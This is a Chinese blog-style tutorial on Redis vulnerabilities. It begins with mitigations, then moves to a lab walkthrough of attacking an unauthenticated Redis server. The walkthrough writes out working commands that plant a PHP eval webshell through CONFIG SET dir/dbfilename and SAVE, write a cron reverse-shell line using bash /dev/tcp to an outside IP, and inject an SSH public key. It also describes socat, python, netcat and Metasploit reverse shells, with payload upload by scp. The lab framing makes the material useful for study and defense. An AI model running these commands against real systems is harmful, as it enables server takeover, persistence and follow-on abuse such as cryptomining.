免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
中间件漏洞原理
Redis 作为一款广泛使用的开源内存数据结构存储系统,在不同版本和配置下可能存在多种安全漏洞,以下为你详细介绍常见的 Redis 漏洞及其影响、利用方式和防范措施。
1. 未授权访问漏洞
- 漏洞原理:Redis 默认情况下没有开启身份验证机制,若监听在公网 IP 地址或开放了不必要的网络访问权限,外部攻击者无需用户名和密码就能直接连接到 Redis 服务器,从而可执行各种命令来操作服务器上的数据。
- 影响:攻击者可以读取、修改、删除服务器上的数据,甚至可以利用 Redis 的功能进行进一步攻击,如写入恶意文件、篡改配置等,严重威胁系统安全。
- 利用方式:攻击者使用 Redis 客户端工具(如
redis-cli
),通过指定服务器的 IP 地址和端口,即可直接连接到 Redis 服务器进行操作。例如: - 防范措施:
- 为 Redis 设置访问密码,在
redis.conf
配置文件中添加或修改requirepass
参数,例如requirepass your_strong_password
,然后重启 Redis 服务使配置生效。 - 限制 Redis 服务的监听地址,只监听本地回环地址
127.0.0.1
,避免监听公网 IP,修改bind
参数为bind 127.0.0.1
。
- 为 Redis 设置访问密码,在
2. 远程代码执行漏洞
- 漏洞原理:当 Redis 以高权限(如 root 用户)运行,且攻击者能控制 Redis 的写入操作时,可利用
CONFIG SET
和SAVE
等命令将恶意的 SSH 公钥写入目标服务器的authorized_keys
文件,从而通过 SSH 远程登录服务器;或者利用SLAVEOF
命令结合特定的利用脚本,实现远程代码执行。 - 影响:攻击者可完全控制目标服务器,执行任意系统命令,如安装后门程序、窃取敏感信息、进行进一步的网络攻击等。
- 利用
SLAVEOF
命令:结合特定的 Redis 模块利用脚本,构造恶意请求发送给 Redis 服务器,触发远程代码执行。 - 防范措施:
- 避免以高权限用户(如 root)运行 Redis 服务,使用专门的低权限用户运行。
- 对 Redis 的写入操作进行严格的权限控制和输入验证,防止恶意数据的写入。
- 及时更新 Redis 到最新版本,修复已知的漏洞。
3. 拒绝服务(DoS)攻击漏洞
- 漏洞原理:攻击者通过发送大量的请求到 Redis 服务器,耗尽服务器的系统资源(如 CPU、内存、网络带宽等),使服务器无法正常响应合法用户的请求,从而导致服务不可用。
- 影响:Redis 服务无法正常提供服务,影响依赖该服务的应用程序的正常运行,造成业务中断。
- 利用方式:攻击者使用脚本或工具向 Redis 服务器发送大量的复杂命令或无效命令,例如:
- 防范措施:
- 配置防火墙规则,限制对 Redis 服务的访问速率和请求数量,防止恶意的大量请求。
- 优化 Redis 服务器的配置和硬件资源,提高服务器的抗攻击能力。
- 采用负载均衡和分布式架构,分散请求压力。
4. 信息泄露漏洞
- 漏洞原理:如果 Redis 服务器配置不当,将敏感信息以明文形式存储,且存在未授权访问漏洞,攻击者可直接获取这些敏感信息;另外,一些 Redis 版本的漏洞可能导致服务器的内部信息(如版本号、配置信息等)泄露,攻击者可据此选择合适的攻击方法。
- 影响:敏感信息(如用户密码、业务数据等)泄露可能导致用户隐私被侵犯、业务数据被篡改或滥用;服务器内部信息泄露可能帮助攻击者更好地了解服务器环境,制定更有效的攻击策略。
- 利用方式:攻击者通过未授权访问漏洞连接到 Redis 服务器,使用
INFO
等命令获取服务器的信息,或者直接读取存储敏感信息的键值对。 - 防范措施:
- 对存储在 Redis 中的敏感信息进行加密处理,避免明文存储。
- 严格控制对 Redis 服务的访问权限,防止未授权访问。
- 及时更新 Redis 版本,修复可能导致信息泄露的漏洞。
一:Redis安装教程
1.下载
将安装包放置于迅雷中下载更快,然后将下载好的安装包复制粘贴于linu虚拟机中(需准备两个centos7虚拟机并且这俩个虚拟机中都装redis,一个为肉机一个为攻击机。为后续实验做准备。)
2.放置安装包
放置于/usr/local/soft下然后解压安装包
3.安装gcc依赖
由于安装的redis版本大于6.0且cenos7自带gcc版本为4.8.5所以需要重新装一个版本为4.9的gcc
查看gcc版本号:gcc -v
安装升级gcc命令:
yum -y install centos-release-scl
yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++
devtoolset-9-binutils
scl enable devtoolset-9 bash
echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
最后查看是否升级成功
gcc -v
4.编译安装
cd redis-6.0.9/src
make instal
安装成功后在/usr/local/soft/redis-6.0.9/src目录下有服务端和客户端脚本
redis-server
redis-cli (客户端脚本)
redis-sentinel
如下图所示!!!
5.修改配置文件
/usr/local/soft/redis-6.0.9/redis.conf
daemonize no
改成
daemonize yes
下面一行必须改成 bind 0.0.0.0 或注释,否则只能在本机 访问
#bind 127.0.0.1
如果需要密码访问,取消 requirepass 的注释,在外网(比如阿里云)这个必须要配置!
requirepass yourpassword
6.配置别名(以下在肉机配置)
打开以下文件
vim ~/.bashrc
添加两行
alias redis='/usr/local/soft/redis-6.0.9/src/redis-server
/usr/local/soft/redis-6.0.9/redis.conf'
alias rcli='/usr/local/soft/redis-6.0.9/src/redis-cli'
7.编译生效
source ~/.bashrc
这样就可以启动redis服务了
可以看到redis服务已经启动
8.攻击机配置别名
alias conn='redis-cli -h 192.168.*.* -p 6379 '
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
alias redis='/usr/local/soft/redis-6.0.9/src/redis-server
/usr/local/soft/redis-6.0.9/redis.conf'
alias rcli='/usr/local/soft/redis-6.0.9/src/redis-cli'
使用coon就可以连接肉机了
已经连接成功
9.在攻击机检查以下配置
1、关闭保护模式 protected-mode(/usr/local/soft/redis-6.0.9/redis.conf)
2、取消IP绑定 bind(/usr/local/soft/redis-6.0.9/redis.conf)
3、开放6379端口,或者关闭防火墙(临时关闭防火墙:systemctl stop firewalld。临时开启7777端口:firewall-cmd --zone=public --add-port=7777/tcp)
4、不需要密码(默认) requirepass(/usr/local/soft/redis-6.0.9/redis.conf)
(*靶机的Redis服务端是root用户安装的)
如果配置不成功就会出现上述情况
!!!到这两台虚拟机都已配置完成。!!!!
案例一:redis+一句话木马提权
1.启动redis服务
Coon(在攻击机启动连接肉机的redis服务)
2.修改保存路径
config set dir /www/admin/localhost_80/wwwroot (redis动态修改配置,修改保存路径为如上www.....)
连接成功后修改保存路径
如出现上述情况,原因为肉机没有这个目录,需要再肉机上创建这个目录或存于其他目录
肉机创建成功
成功修改路径
3.修改文件名
config set dbfilename redis.php (动态修改配置,将文件名修改为redis.php)
set x "<?php @eval($_POST[aqlw]); ?>" (写入一句话木马)
4.Save(写入磁盘持久化)
成功在肉机上写入一句话木马
5.蚁剑连接成功
案例二:反弹连接如何实现
一:常见反弹连接方式(一)
1.控制机监听一个端口
常见监听端口方式
(控制机执行的命令)
2.靶机连接控制机
(靶机执行的命令)
!如果在执行过程中无论如何连接不上可能是由于防火墙未关闭导致!
1.反弹连接(bash方法)
1.1在肉机上建立反弹连接
1.2控制机监听端口
在控制机上监听端口
肉机成功反弹连接攻击机
2.反弹连接(socat方法)
2.1监听端口(kali)
利用socat在Kali上监听端口7777
2.2在肉机上建立反弹连接
攻击机成功连接肉机
3.反弹连接(python方法)
3.1在肉机建立反弹连接
使用python代码连接
3.2攻击机监听端口7777
成功连接
4.反弹连接(netcat)
4.1肉机建立反弹连接
4.2攻击机监听端口
连接成功
二:常见反弹连接方式(二)
需要保证肉机为php或其他环境(如果实验当中无环境可以先下载,这里以php为例)
1.下载PHP环境
1. 1启用 EPEL 和 Remi 仓库
Remi 仓库提供了丰富的 PHP 版本供你选择,而 EPEL 仓库则包含了许多额外的依赖包。执行以下命令启用这两个仓库:
sudo yum install epel-release -y
sudo yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm
1.2选择并安装 PHP 版本
你可以根据自己的需求选择不同的 PHP 版本进行安装,这里以安装 PHP 7.4 为例:
# 启用 PHP 7.4 的 Remi 仓库sudo yum-config-manager --enable remi-php74# 安装 PHP
sudo yum install php -y
1.3验证 PHP 安装
安装完成后,再次执行 php -v 命令来验证 PHP 是否成功安装:
php -v
以上提示则为安装成功
2.利用PHP建立反弹连接
由于肉机无法安装php环境所以我将肉机和攻击机调换在攻击机上安装php环境使用肉机连接控制靶机。原理相同
2.1在肉机(PHP环境)输入PHP反弹连接命令
2.2在攻击机监听端口7777
连接成功
(在测试当中如果关闭防火墙依然无法连接可以打开攻击机靶机firewalld 服务)
添加7777端口规则
- 启动 firewalld 服务:
在终端中输入以下命令来启动 firewalld 服务:sudo systemctl start firewalld
- 再次尝试添加端口规则:
在启动 firewalld 服务后,再次执行添加端口的命令:sudo firewall-cmd --add-port=7777/tcp
三:常见反弹连接方式(三)
1.生成payload命令
以下为生成msf payload 命令
(配合msf监听模块使用)
2.在php环境下结合msf监听模块
2.1启动msf
首先在kali机中使用msf模块监听端口7777,利用msf-PHP生成payload放置于肉机
启动成功
(参考监听模块msf命令)
2.2在kali利用msf监听7777
Kali机成功监听7777模块
2.3生成payload
利用xshell在打开一个kali虚拟机用于payload生成
2.4上传payload到肉机
scp ./shell.php root@192.168.58.135:/var/www/html
(以上命令为我偷懒直接利用命令加肉机root密码上传,但是正确做法是利用kali生成payload后放于自己已经成功连接对方肉机的攻击机中,利用redis漏洞任意写入文件,具体操作见上文写入一句话木马)
2.5连接成功
生成并成功将pyload上传到目标肉机
总结:首先需要再kali虚拟机中使用msf模块监听端口然后再利用kali虚拟机生成相应环境的payload,然后将payload上传到需要建立反弹连接的肉机(其中需要肉机触发shell.php文件才可以运行,所以我直接在肉机中运行php /var/www/html/shell.php,然后连接成功。需要强调的是本文中除需php环境的案例都使用135为攻击机131为肉机,但php环境我只安装在了135虚拟机上所以后续以php环境为基础的我都以135做为肉机131作为攻击机)
案例三:Redis写入反弹连接任务
cron定时任务如下
1.首先在攻击机上监听一个端口7777
2.然后利用redis漏洞利用任意写入反弹连接任务文件到/var/spool/cron
3.然后修改名字,执行持久化操作
4.写入成功
5.连接成功
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilenameQroot Language
Save
案例四:SSH key免密登录
流程SSHkey免密登录
1.客户端生成密钥对(公钥、私钥)
ssh-keygen
利用如上命令在攻击机生成秘钥对
2.客户端把公钥发给服务端保存
正常情况需要密码,这里我们利用redis任意写入文件漏洞
使用攻击机利用redis连接肉机将公钥写入肉机,具体操作如一句话木马
set xxx "\n\n\-----\n\n\n" 中间添加公钥
3.成功写入
4.建立连接
ssh -i ./id_rsa root@192.168.58.131
5.连接成功
免密连接成功,然后就可以下载恶意脚本挖矿等
总结
在上述实验中如果遇到问题请自行使用AI解决,如果想深入学习redis还需要练习。Redis 常见漏洞包括未授权访问,可致攻击者随意操作数据;远程代码执行漏洞,攻击者借此完全控制服务器;拒绝服务攻击漏洞,通过耗尽资源使服务瘫痪;信息泄露漏洞,会暴露敏感及内部信息。这些漏洞源于配置不当或版本缺陷,危害极大。(如上文内容有问题还需与博主联系)
(需要源代码联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)